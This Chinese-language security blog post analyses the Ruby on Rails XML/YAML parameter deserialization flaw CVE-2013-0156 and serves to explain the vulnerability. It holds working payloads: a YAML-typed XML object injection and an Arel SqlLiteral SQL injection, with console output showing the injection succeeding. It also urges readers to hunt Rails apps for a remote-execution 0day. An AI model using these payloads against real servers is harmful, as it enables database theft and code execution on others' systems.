Ruby on Rails XML參數(shù)注入漏洞(CVE-2013-0156)分析
Author: wofeiwo#80sec.com
注意,本文基本是這篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建議去原文查看。
近日RoR的漏洞大爆發(fā),就在昨天臨晨,RoR的官網(wǎng)發(fā)布了新的兩個(gè)安全漏洞補(bǔ)丁,CVE-2013-0155和CVE-2013-0156.
CVE-2013-0155主要是防止Json數(shù)據(jù)解析的nil導(dǎo)致程序DoS,而CVE-2013-0156則是對(duì)RoR的XML解析進(jìn)行修補(bǔ).其中Json的那個(gè)并沒有什么值得關(guān)注的部分,但是對(duì)于XML解析的修補(bǔ),卻很值得玩味.官網(wǎng)對(duì)此補(bǔ)丁的描述是:要求所有RoR的用戶,必須立即(immediately)升級(jí)此補(bǔ)丁.這是本周內(nèi)除了CVE-2012-6496之外,第二次要求大家”立即”升級(jí)的高危漏洞.甚至,連cnbeta都開始報(bào)道此漏洞了.
為什么這個(gè)漏洞如此的嚴(yán)重?原因就出在RoR框架的靈活性和便利性上.RoR支持用戶使用多種格式提交你的參數(shù),而不僅僅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去對(duì)你提交的參數(shù)進(jìn)行描述,因?yàn)镽uby是個(gè)強(qiáng)類型語(yǔ)言,因此由于HTTP傳過來的純string的參數(shù)并不足夠描述參數(shù)的屬性.當(dāng)你使用XML格式去遞交時(shí),就是另一回事了.例如:
- <?xml version="1.0" encoding="UTF-8"?>
- <hash>
- <foo type="integer">1</foo>
- </hash>
如果你POST提交這樣的一個(gè)數(shù)據(jù),RoR就會(huì)在其中解析為:
- "hash" => {"foo" => 1}
這些type的xml屬性也就補(bǔ)充說明了一個(gè)參數(shù)的類型.RoR可以很便利的將其解析出來.可關(guān)鍵問題就在此,Type的取值還可以為Symbol和Yaml.
說起Symbol,還記得之前提到的另一個(gè)高危SQL注入漏洞,CVE-2012-6496,其***的不可利用問題,就在于他需要提交的參數(shù)的key必須是Symbol類型么?
然后我們測(cè)試下,就會(huì)發(fā)現(xiàn),由于框架中對(duì)參數(shù)進(jìn)行 data.with_indifferent_access 的操作(會(huì)把key全變成string),我們還是無法通過xml去將Key變成Symbol類型。所以,也無法利用此漏洞去利用CVE-2012-6496。
但是等等,還有另一個(gè)參數(shù)類型,yaml。
yaml強(qiáng)大的地方在于,利用yaml語(yǔ)言,你可以讓Rails生成各種類型的數(shù)據(jù)結(jié)構(gòu),例如,Object。
- <test type="yaml">--- !ruby/object:A
- aaa: bbb
- </test>
這基本類似于一個(gè)變量反序列化的過程,實(shí)際用起來基本就相當(dāng)于一個(gè)任意變量覆蓋漏洞。如果后續(xù)的代碼中,有將此Object的aaa屬性帶入eval/exec/system等關(guān)鍵語(yǔ)句中,就可以執(zhí)行一些被污染的代碼。
如果你熟悉rails的代碼,或者其他開源rails的webapp,現(xiàn)在就可以找起來了。或許一個(gè)遠(yuǎn)程執(zhí)行0day就此誕生。
如果你不熟悉ror,那么也沒問題,實(shí)際上還有個(gè)利用方式,可以直接進(jìn)行sql注入。
一般在RoR中都是使用model.find_by_*的方式進(jìn)行數(shù)據(jù)庫(kù)查詢(ActiveRecord模式)
model.find_by_id(params[:id])類似的代碼會(huì)很常見。我們可以通過yaml去定義這個(gè)id變量,使其成為可以注入的內(nèi)容:
- <id type=yaml>--- !str:Arel::Nodes::SqlLiteral
- 1 and 1=2
- </id>利用如上代碼,通過SqlLiteral對(duì)象,即可進(jìn)行sql注入。
- irb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1")
- => "1"
- irb(main):018:0> Post.find_by_id(a)
- Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1
- => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01">
- irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 11=1")
- => "1 and 11=1"
- irb(main):020:0> Post.find_by_id(a)
- Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 11=1 LIMIT 1
- => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01">
- irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2")
- => "1 and 1=2"
- irb(main):022:0> Post.find_by_id(a)
- Post Load (0.0ms)[0m SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1
- => nil